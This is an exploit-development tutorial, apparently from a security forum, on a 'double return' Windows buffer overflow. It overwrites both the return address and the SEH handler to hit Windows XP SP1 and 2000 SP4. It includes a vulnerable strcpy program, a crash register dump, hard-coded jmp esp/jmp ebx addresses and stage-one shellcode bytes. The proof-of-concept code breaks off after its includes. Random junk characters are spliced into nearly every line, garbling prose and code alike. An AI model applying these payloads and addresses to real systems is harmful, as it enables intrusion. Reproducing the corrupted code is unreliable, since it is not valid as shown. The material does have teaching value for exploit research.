The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. F/ c7 T1 h- G! ~9 H
2 G2 i: L7 s! o' j1 K8 v[Buf] <- Shellcode 4 ?% ~2 z9 } |; [! O6 E[Return Address] <- jmp register (for Windows XP sp1)" c1 k; z2 R2 }( T3 X D
[Various Stack Data] <- Junk, Z5 M5 n4 _0 h1 r0 g! N: ^' M% R
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward! E l/ G( y4 c5 M$ @# n
[SE Handler] <- jmp register (for Win2k sp4) 4 C( _! }! M; p. {2 ]7 j$ ~[Stage1 Shellcode] <- stage1 shellcode for win2k * G$ g$ n7 a2 B2 u& m# z8 U% r4 f, w
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses* A/ V' J( y6 n0 J6 D3 t; y
/ ^: L: Y) B& v$ G$ ~9 Y/ L' }( KVulnerable Code:) f8 u+ x0 H# j8 K& B h" J
//lamebuf.c s5 `+ N0 N# r6 v7 O
#include<stdio.h>; r, h4 {1 M1 D0 ?
#include<string.h> * u* s- b7 `: t- N: |' H" @$ p; _#include<windows.h> 7 g2 f3 t. U9 rint main(int argc,char *argv[]){, u( M/ n; M' Y/ w; S A( L% c
/ t! K8 r( S% ~$ L( s- q3 g0 [
char buf[512];7 K( t; E- I3 @5 S: T' u- B) Q
char buf1[1024]; // <- simulate a stack5 q' @9 f8 H. @; Y
//DebugBreak();; T( k3 u) B& u1 M( Z; l8 B2 f. g# v
if (argc != 2){ return -1; } : L% B7 C$ m( U e5 I3 P& L9 @- Z9 K" q1 A: Y
strcpy(buf,argv[1]);: S G/ z" Y6 N3 ]* w" H
return 0x0; 9 {# q* ^. ~4 C4 Q g1 C}# i, t7 }! b2 Q
2 D- [0 \1 \6 P" r2 ~2 @
Getting Started:/ J2 p% @# t: e* ]# g
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:. D3 J* j5 S& n; N9 I" i. @* S8 t! ^
1 L$ W0 ^: Y, b
EAX 00000000 ! |, Y$ W& l9 p+ NECX 00321404# M7 H! \) W F- T% V" {
EDX 004141412 @, Y/ a" h5 q
EBX 7FFDF000. X9 [- h' }% ~0 E: r2 x
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" * R3 W" Z( d. U( }EBP 41414141 $ _6 ~8 J% Q K( M4 j, d0 aESI 77D4595F 9 ^* o; m( k3 J$ g) G; oEDI 77F59037 ntdll.77F590379 e+ h* Q7 \5 b
EIP 414141418 Y$ w4 ~, ^8 f
* C5 ?2 d+ C7 f( k- g5 I+ JLets take a look at the stack and see what happened to the default exception handler:7 W( s1 f! R/ R( G4 ~
0x0012FFB0 41414141 Pointer to next SEH Record. H2 `% w' B0 I& m5 r9 k5 A
0x0012FFB4 41414141 SE Handler ) w. v- b. \/ {8 v6 B5 j - q% q+ o0 D3 H) H2 b6 c% fWe successfully overwrote the return address and the default exception handler. ; \7 M9 @! x5 s & @. e- e# ?8 xPrimary Return Address (Windows XP SP1 EN):$ q2 D( ~' a, s* M# C+ f- d- u
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: + u/ d z7 _8 f: {7 U"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"% W8 f, i, @6 g% H' `) e$ h6 u
! Z7 D" v" \3 v, n" i5 h
Secondary Return Address (Windows 2000 SP4 EN): / G+ D; K1 u/ {- t4 EThe secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: 1 J( D; e$ P# y7 F, b, h# d- v"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"3 V* ^1 O1 ~& d/ f+ N
" T* U7 q7 l4 [8 ?8 ^* h nProof Of Concept: `" B7 Q0 P( y8 a7 [" S' O
// exploit.c 4 M) r+ `5 A; U// Tal zeltzer - [Double Return] // " Q' b! a& ~" Y8 _- Q9 D/ o' u4 c) g
#include<stdio.h> 2 B% k# u: a" m#include<string.h> # _. j2 T/ B4 ?& q; G( U! ]0 n#include<windows.h>. |. k {8 \: U- x: g